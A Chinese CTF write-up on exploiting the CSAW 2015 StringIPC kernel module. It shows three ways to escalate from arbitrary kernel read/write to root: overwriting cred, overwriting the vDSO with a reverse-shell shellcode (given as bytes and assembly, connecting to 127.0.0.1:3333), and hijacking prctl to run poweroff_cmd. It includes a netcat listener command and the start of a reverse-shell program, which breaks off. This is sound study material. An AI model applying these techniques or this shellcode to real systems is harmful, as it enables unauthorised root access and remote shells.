【linux内核漏洞利用】StringIPC—从任意读写到权限提升三种方法

参考:https://xz.aliyun.com/t/3204

题目:CSAW-2015-CTF的stringipc

环境下载:https://github.com/bsauce/CTF/tree/master/stringipc

目的:学习三种从内存任意读写到权限提升的利用方法。

环境搭建:

内核版本—linux-4.4.184 (gcc-4.7不行,得用gcc-5)
busybox版本—1.31.0
stringipc源码
源码及busybox编译

题目分析:已经在上一篇文章中分析过,见sold_core分析


1. 修改cred结构提升权限

(1)cred结构体

每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。

thread_info结构体存放位于线程栈的最低地址,对应的结构体定义(\arch\x86\include\asm\thread_info.h 55):

struct thread_info {
    struct task_struct  *task;      /* main task structure */                          <--------------------重要
    __u32           flags;      /* low level flags */
    __u32           status;     /* thread synchronous flags */
    __u32           cpu;        /* current CPU */
    mm_segment_t        addr_limit;
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

thread_info中最重要的信息是task_struct结构体,定义在(\include\linux\sched.h 1390)。

//裁剪过后 
struct task_struct {
    volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
    void *stack;
    atomic_t usage;
    unsigned int flags; /* per process flags, defined below */
    unsigned int ptrace;
... ...

/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;  /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
/* file system info */
    struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
    struct sysv_sem sysvsem;
    struct sysv_shm sysvshm;
#endif
... ... 
};

其中,cred结构体(\include\linux\cred.h 118)就表示该线程的权限。只要将结构体的uid~fsgid全部覆写为0即可提权该线程(root uid为0)。前28字节!!!!

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

这个结构体在线程初始化由prepare_creds函数创建,可以看到创建cred的方法是kmem_cache_alloc。

struct cred *prepare_creds(void)
{
    struct task_struct *task = current;
    const struct cred *old;
    struct cred *new;

    validate_process_creds();

    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;

    kdebug("prepare_creds() alloc %p", new);

    old = task->cred;
    memcpy(new, old, sizeof(struct cred));

    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_group_info(new->group_info);
    get_uid(new->user);
    get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
    key_get(new->session_keyring);
    key_get(new->process_keyring);
    key_get(new->thread_keyring);
    key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif

    if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
        goto error;
    validate_creds(new);
    return new;

error:
    abort_creds(new);
    return NULL;
}
EXPORT_SYMBOL(prepare_creds);

(2)漏洞利用

思路:利用任意读找到cred结构体,再利用任意写,将用于表示权限的数据位写0,即可提权。

搜索cred结构体:task_struct里有个char comm[TASK_COMM_LEN];结构,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。

感慨:task_struct这么大,居然能找到这个结构,还能找到prctl能修改该字符串,tql。

PR_SET_NAME (since Linux 2.6.9)
              Set the name of the calling thread, using the value in the
              location pointed to by (char *) arg2.  The name can be up to
              16 bytes long, including the terminating null byte.  (If the
              length of the string, including the terminating null byte,
              exceeds 16 bytes, the string is silently truncated.)  This is
              the same attribute that can be set via pthread_setname_np(3)
              and retrieved using pthread_getname_np(3).  The attribute is
              likewise accessible via /proc/self/task/[tid]/comm, where tid
              is the name of the calling thread.
              设置调用线程的name,name由arg2指定,长度最多16字节,包含终止符。也可以使用pthread_setname_np(3)设置该name,用pthread_getname_np(3)获得name。

方法:设定该值作为标记,利用任意读找到该字符串,即可找到task_structure,进而找到cred结构体,再利用任意写提权。

确定爆破范围:task_structure是通过调用kmem_cache_alloc_node()分配的,所以kmem_cache_alloc_node应该存在内核的动态分配区域。(\kernel\fork.c 140)。kernel内存映射

static inline struct task_struct *alloc_task_struct_node(int node)
{
    return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}

根据内存映射图,爆破范围应该在0xffff880000000000~0xffffc80000000000。

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

坑点:本题写函数是strncpy_from_user,遇到0就截断了,所以cred写0时需要一字节一字节的写。

1.unsigned long copy_from_user (    void *      to,
    const void __user *     from,
    unsigned long   n);
copy_from_user — Copy a block of data from user space.
2.long strncpy_from_user (  char *      dst,
    const char __user *     src,
    long    count);
strncpy_from_user — Copy a NUL terminated string from userspace.

(3)EXP

exp见test_cred.c。

1-succeed_exp_cred.png

2. 劫持VDSO

这种方法是内核通过映射方法与用户态共享一块物理内存,从而加快执行效率,也叫影子内存。当在内核态修改内存时,用户态所访问到的数据同样会改变,这样的数据区在用户态有两块,vdsovsyscall

gdb-peda$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 561868                             /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 561868                             /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 561868                             /bin/cat
01cff000-01d20000 rw-p 00000000 00:00 0                                  [heap]
7fe259072000-7fe2594fc000 r--p 00000000 08:01 2491405                    /usr/lib/locale/locale-archive
7fe2594fc000-7fe2596bc000 r-xp 00000000 08:01 267250                     /lib/x86_64-linux-gnu/libc-2.23.so
7fe2596bc000-7fe2598bc000 ---p 001c0000 08:01 267250                     /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598bc000-7fe2598c0000 r--p 001c0000 08:01 267250                     /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598c0000-7fe2598c2000 rw-p 001c4000 08:01 267250                     /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598c2000-7fe2598c6000 rw-p 00000000 00:00 0 
7fe2598c6000-7fe2598ec000 r-xp 00000000 08:01 267232                     /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aac000-7fe259ad1000 rw-p 00000000 00:00 0 
7fe259aeb000-7fe259aec000 r--p 00025000 08:01 267232                     /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aec000-7fe259aed000 rw-p 00026000 08:01 267232                     /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aed000-7fe259aee000 rw-p 00000000 00:00 0 
7fff936ad000-7fff936ce000 rw-p 00000000 00:00 0                          [stack]
7fff937d5000-7fff937d7000 r--p 00000000 00:00 0                          [vvar]
7fff937d7000-7fff937d9000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

(1)VDSO介绍

vsyscall和VDSO都是为了避免传统系统调用模式INT 0x80/SYSCALL造成的内核空间和用户空间的上下文切换。vsyscall只允许4个系统调用,且在每个进程中静态分配了相同的地址;VDSO是动态分配的,地址随机,可提供超过4个系统调用,VDSO是glibc库提供的功能。

VDSO—Virtual Dynamic Shared Object。本质就是映射到内存中的.so文件,对应的程序可以当普通的.so来使用其中的函数。VDSO所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。

VDSO在每个程序启动的加载过程如下:

#0  remap_pfn_range (vma=0xffff880000bba780, addr=140731259371520, pfn=8054, size=4096, prot=...) at mm/memory.c:1737
#1  0xffffffff810041ce in map_vdso (image=0xffffffff81a012c0 <vdso_image_64>, calculate_addr=<optimized out>) at arch/x86/entry/vdso/vma.c:151
#2  0xffffffff81004267 in arch_setup_additional_pages (bprm=<optimized out>, uses_interp=<optimized out>) at arch/x86/entry/vdso/vma.c:209
#3  0xffffffff81268b74 in load_elf_binary (bprm=0xffff88000f86cf00) at fs/binfmt_elf.c:1080
#4  0xffffffff812136de in search_binary_handler (bprm=0xffff88000f86cf00) at fs/exec.c:1469

在map_vdso中首先查找到一块用户态地址,将该块地址设置为VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,利用remap_pfn_range将内核页映射过去。

dump vdso代码:

//dump_vdos.c
// 获取gettimeofday 字符串的偏移,便于爆破;dump vdso还是需要在程序中爆破VDSO地址,然后gdb中断下,$dump memory即可(VDSO地址是从ffffffff开头的)。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h> 

 #include <sys/mman.h>
int main(){
    int test;
    size_t result=0;
    unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
    result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
    printf("[+]VDSO : %p\n",sysinfo_ehdr);
    printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
    scanf("Wait! %d", test);  
    /* 
    gdb break point at 0x400A36
    and then dump memory
    why only dump 0x1000 ???
    */
    if (sysinfo_ehdr!=0){
        for (int i=0;i<0x2000;i+=1){
            printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
        }
    }
}

(2)利用思路

(1) 获取vdso的映射地址(爆破),vdso的范围在0xffffffff80000000~0xffffffffffffefff。

(2)通过劫持task_prctl,将其修改成为set_memory_rw

(3)然后传入VDSO的地址,将VDSO修改成为可写的属性。

(4)用shellcode覆盖部分vDSO(shellcode只为root进程创建反弹shell,可以通过调用 0x66—sys_getuid系统调用并将其与0进行比较;如果没有root权限,我们继续调用0x60—sys_gettimeofday系统调用。同样在root进程当中,我们不想造成更多的问题,我们将通过0x39系统调用 fork一个子进程,父进程继续执行sys_gettimeofday,而由子进程来执行反弹shell。)

(5)调用gettimeofday函数或通过prtcl的系统调用,让内核调用shellcode提权。
所用shellcode可见https://gist.github.com/itsZN/1ab36391d1849f15b785(它将连接到127.0.0.1:3333并执行”/bin/sh”),用"nc -l -p 3333 -v"链接即可;shellcode写到gettimeofday附近,通过dump vDSO确定,本题是0xca0。

shellcode如下:

https://gist.github.com/itsZN/1ab36391d1849f15b785
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";


nop
push rbx
xor rax,rax
mov al, 0x66
syscall #check uid
xor rbx,rbx
cmp rbx,rax
jne emulate

xor rax,rax
mov al,0x39
syscall #fork
xor rbx,rbx
cmp rax,rbx
je connectback

emulate:
pop rbx
xor rax,rax
mov al,0x60
syscall
retq

connectback:
xor rdx,rdx
pushq 0x1
pop rsi
pushq 0x2
pop rdi
pushq 0x29
pop rax 
syscall #socket

xchg rdi,rax
push rax
mov rcx, 0xfeffff80faf2fffd
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
pushq 0x2a
pop rax
syscall #connect

xor rbx,rbx
cmp rax,rbx
je sh
xor rax,rax
mov al,0xe7
syscall #exit

sh:
nop
pushq 0x3
pop rsi
duploop:
pushq 0x21
pop rax
dec rsi
syscall #dup
jne duploop

mov rbx,0xff978cd091969dd0
not rbx
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
xor rdx,rdx
mov al,0x3b
syscall #execve
xor rax,rax
mov al,0xe7
syscall

(3)Exploit

《Bypassing SMEP Using vDSO Overwrites》一文中提到的利用crontab进程会执行gettimeofday,本文没实现;当时比赛部署的方法是用了digitalocean-api而不是QEMU;本文以init文件中运行一个循环执行gettimeofday的程序,来模拟crontab。

//sudo_me.c           一定要动态编译,不然不会调用gettimeofday函数,还要在_install根目录下创建lib64文件,文件里放需要用到的库(ld-linux-x86-64.so.2 和 libc.so.6)。
#include <stdio.h>

int main(){
    while(1){
        puts("111");
        sleep(1);
        gettimeofday();
    }
}

exploit见test_VDSO.c程序。

2-succeed_exp_VDSO.png

3. HijackPrctl

强网杯的solid_core题目,限制了内存写的范围必须大于0xffffffff80000000,不能篡改cred了;用最新的系统编译,不能写VDSO了。预期解是HijackPrctl方法。

(1)原理分析

最初原理可见New Reliable Android Kernel Root Exploitation Techniques

prctl的原理已在绕过内核SMEP姿势总结与实践中分析过,就不再赘述。

由于prctl第一个参数是int类型,在64位系统中被截断,所以不能正确传参。

call_usermodehelper(\kernel\kmod.c 603),这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令(注意命令中的参数要用全路径,不能用相对路径)。但其中提到在安卓利用时需要关闭SEAndroid。

/**
 * call_usermodehelper() - prepare and start a usermode application
 * @path: path to usermode executable
 * @argv: arg vector for process
 * @envp: environment for process
 * @wait: wait for the application to finish and return status.
 *        when UMH_NO_WAIT don't wait at all, but you get no useful error back
 *        when the program couldn't be exec'ed. This makes it safe to call
 *        from interrupt context.
 *
 * This function is the equivalent to use call_usermodehelper_setup() and
 * call_usermodehelper_exec().
 */
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
    struct subprocess_info *info;
    gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

    info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
                     NULL, NULL, NULL);
    if (info == NULL)
        return -ENOMEM;

    return call_usermodehelper_exec(info, wait);
}

看看call_usermodehelper()被哪些函数调用过,内核源码搜索结果中有很多调用。

drivers/block/drbd/drbd_nl.c   
line 352   #drbd_khelper() -> call_usermodehelper(usermode_helper, argv, envp, UMH_WAIT_PROC);  char usermode_helper[80] = "/sbin/drbdadm";
line 392
drivers/macintosh/windfarm_core.c, line 84  #函数中的static变量
drivers/net/hamradio/baycom_epp.c, line 323 #eppconfig()  -> call_usermodehelper(eppconfig_path, argv, envp, UMH_WAIT_PROC);      static char eppconfig_path[256] = "/usr/sbin/eppfpga";
drivers/net/hyperv/netvsc_drv.c, line 992  #限制太死
drivers/pnp/pnpbios/core.c, line 142       #限制太死
drivers/staging/lustre/lustre/libcfs/linux/linux-debug.c
line 88    #  libcfs_run_debug_log_upcall()   ->  argv[0] = lnet_debug_log_upcall;       call_usermodehelper(argv[0], argv, envp, 1);  char lnet_debug_log_upcall[1024] = "/usr/lib/lustre/lnet_debug_log_upcall";  
line 114   #  libcfs_run_upcall() ->  argv[0] = lnet_upcall;     call_usermodehelper(argv[0], argv, envp, 1);      char lnet_debug_log_upcall[1024] = "/usr/lib/lustre/lnet_debug_log_upcall";
drivers/staging/lustre/lustre/obdclass/obd_config.c, line 757      #限制太死
drivers/staging/rtl8192e/rtl8192e/rtl_dm.c
line 286   #限制太死
line 1868  #限制太死
drivers/video/fbdev/uvesafb.c, line 121  #uvesafb_helper_start()  ->   call_usermodehelper(v86d_path, argv, envp, UMH_WAIT_PROC);   static char v86d_path[PATH_MAX] = "/sbin/v86d";  


arch/x86/kernel/cpu/mcheck/mce.c, line 1347   # mce_do_trigger()   ->   call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT);    static char         mce_helper[128];
fs/nfs/cache_lib.c, line 51  #nfs_cache_upcall()  -> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);  char *argv[] = {nfs_cache_getent_prog,      static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] ="/sbin/nfs_cache_getent"; 
fs/nfs/objlayout/objlayout.c, line 623  #__objlayout_upcall()  -> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC)  argv[0] = (char *)osd_login_prog;     static char osd_login_prog[OSD_LOGIN_UPCALL_PATHLEN] = "/sbin/osd_login";
fs/nfsd/nfs4layouts.c, line 605         #argv[0]限制太死
fs/nfsd/nfs4recover.c, line 1217        #限制太死
fs/ocfs2/stackglue.c, line 448          # ocfs2_leave_group()  ->  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);    static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
include/linux/kmod.h, line 70 #as a prototype
kernel/cgroup.c, line 5784                          #限制太死
kernel/kmod.c
line 616  #as a function
line 628  #as a variable
kernel/reboot.c, line 403  #__orderly_reboot() 或 __orderly_poweroff() -> run_cmd(reboot_cmd)   static const char reboot_cmd[] = "/sbin/reboot";  ->  call_usermodehelper()
net/bridge/br_stp_if.c 146                           #—限制太死
line 146
line 185
security/tomoyo/load_policy.c, line 105  #—限制太死

很多函数的参数都限制太死,第一个参数直接来自局部变量,无法篡改。只有第一个参数来自全局变量的才符合条件,在/proc/kallsyms中能查到地址的就是__orderly_reboot()、__orderly_poweroff 和 mce_do_trigger()。

(1-1)mce_do_trigger()

两个参数rdi、rsi都是data段上的地址,可通过任意写将要执行的命令写在这个地址上,从而利于call_usermodehelper执行。但改的东西较多。

// /arch/x86/kernel/cpu/mcheck/mce.c 1345
static void mce_do_trigger(struct work_struct *work)
{
    call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT);
}
static char         mce_helper[128];
static char         *mce_helper_argv[2] = { mce_helper, NULL };
gdb-peda$ x /10iw mce_do_trigger
   0xffffffff81043860 <mce_do_trigger>: data16 data16 data16 xchg ax,ax
   0xffffffff81043865 <mce_do_trigger+5>:   push   rbp
   0xffffffff81043866 <mce_do_trigger+6>:   xor    ecx,ecx
   0xffffffff81043868 <mce_do_trigger+8>:   xor    edx,edx
   0xffffffff8104386a <mce_do_trigger+10>:  mov    rsi,0xffffffff81e2a500
   0xffffffff81043871 <mce_do_trigger+17>:  mov    rdi,0xffffffff820d3500
   0xffffffff81043878 <mce_do_trigger+24>:  mov    rbp,rsp
   0xffffffff8104387b <mce_do_trigger+27>:  
    call   0xffffffff8109aaf0 <call_usermodehelper>
   0xffffffff81043880 <mce_do_trigger+32>:  pop    rbp
   0xffffffff81043881 <mce_do_trigger+33>:  ret
gdb-peda$ x /6gx 0xffffffff820d3500
0xffffffff820d3500 <mce_helper>:    0x0000000000000000  0x0000000000000000
0xffffffff820d3510 <mce_helper+16>: 0x0000000000000000  0x0000000000000000
0xffffffff820d3520 <mce_helper+32>: 0x0000000000000000  0x0000000000000000

经过实际测试,0xffffffff820d3500处居然无法修改,报错如下,可能是页面不可写导致:

[    9.838040] BUG: unable to handle kernel paging request at ffffffff810d3500
[    9.840118] IP: [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[    9.841133] PGD 1e0f067 PUD 1e10063 PMD 10001e1 
[    9.841133] Oops: 0003 [#1] SMP 
[    9.841133] Modules linked in: StringIPC(OE)
[    9.841133] CPU: 0 PID: 100 Comm: test_hijackprct Tainted: G           OE   4.4.184 #1
[    9.841133] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[    9.841133] task: ffff88000fa772c0 ti: ffff88000fac8000 task.ti: ffff88000fac8000
[    9.841133] RIP: 0010:[<ffffffff8141c47a>]  [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[    9.841133] RSP: 0018:ffff88000facbe38  EFLAGS: 00000246
[    9.841133] RAX: 0000000000000000 RBX: fefefefefefefeff RCX: 657372657665722f
[    9.841133] RDX: 000000000000000f RSI: 0000000000994880 RDI: ffffffff810d3500
[    9.841133] RBP: ffff88000facbe40 R08: 000000000000000f R09: 647271647564712e
[    9.841133] R10: 8080808080808080 R11: 0000000000000000 R12: ffff88000fabe580
[    9.841133] R13: ffff88000fabe588 R14: 0000000077617369 R15: 00007fff6b0f5850
[    9.841133] FS:  0000000000993880(0063) GS:ffff88000ea00000(0000) knlGS:0000000000000000
[    9.841133] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    9.841133] CR2: ffffffff810d3500 CR3: 000000000f65b000 CR4: 00000000003006f0
[    9.841133] Stack:
[    9.841133]  000000000000000f ffff88000facbe98 ffffffffc00005ef 0000000100000000
[    9.841133]  0000000000000001 0000000000994880 000000000000000f 8c28793e40e08af3
[    9.841133]  ffff88000fa4d9f8 00007fff6b0f5850 ffff88000faa2e00 0000000077617369
[    9.841133] Call Trace:
[    9.841133]  [<ffffffffc00005ef>] csaw_ioctl+0x2cf/0x37e [StringIPC]
[    9.841133]  [<ffffffff8122b9e4>] do_vfs_ioctl+0x2a4/0x4a0
[    9.841133]  [<ffffffff812182e9>] ? vfs_write+0x149/0x1a0
[    9.841133]  [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
[    9.841133]  [<ffffffff8183b1e5>] entry_SYSCALL_64_fastpath+0x22/0x99
[    9.841133] Code: 47 c2 31 c0 49 83 f8 07 0f 86 bd 00 00 00 45 31 db 48 bb ff fe fe fe fe fe fe fe 49 ba 80 80 80 80 80 80 80 80 eb 21 4c 8d 0c 19 <48> 89 0c 07 48 f7 d1 4c 21 c9 4c 21 d1 75 59 49 83 e8 08 48 83 
[    9.841133] RIP  [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[    9.841133]  RSP <ffff88000facbe38>
[    9.841133] CR2: ffffffff810d3500
[    9.841133] ---[ end trace 595f0573344f86c7 ]---
Killed

(1-2)run_cmd()

利用argv_split自动切割参数,但cmd存在参数截断问题,run_cmd()被reboot_work_func()和poweroff_work_func()函数调用,命令reboot_cmd是全局变量。

static—静态变量,所有的全局变量都是静态变量,而局部变量只有定义时加上类型修饰符static,才为局部静态变量。静态变量并不是说其就不能改变值,不能改变值的量叫常量。它不会随着函数的调用和退出而发生变化。即上次调用函数的时候,如果我们给静态变量赋予某个值的话,下次函数调用时,这个值保持不变。

static final / const—不可修改。

由于reboot_cmd是const变量,不可修改,所以不能利用reboot_work_func()。

//  /kernel/reboot.c  389
static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }
    return ret;
}
static const char reboot_cmd[] = "/sbin/reboot"; //reboot_work_func()
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";  //poweroff_work_func()

(2)利用思路

  1. 利用kremalloc的问题,达到任意地址读写的能力
  2. 通过快速爆破,泄露出VDSO地址。
  3. 利用VDSO和kernel_base相差不远的特性,泄露出内核基址。(泄露VDSO是为了泄露内核基址?)
  4. 篡改prctl的hook为selinux_disable函数的地址
  5. 调用prctl使得selinux失效(INetCop Security给出的思路中要求的一步)
  6. 篡改poweroff_cmd使其等于我们预期执行的命令("/bin/chmod 777 /flag\0")。或者将poweroff_cmd处改为一个反弹shell的binary命令,监听端口就可以拿到shell。
  7. 篡改prctl的hook为orderly_poweroff
  8. 调用prctl执行我们预期的命令,达到内核提权的效果。

其中第4、5步是安卓root必须的两步,本题linux环境下不需要。

(3)Exploit

//reverse_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
    int sockfd,numbytes;
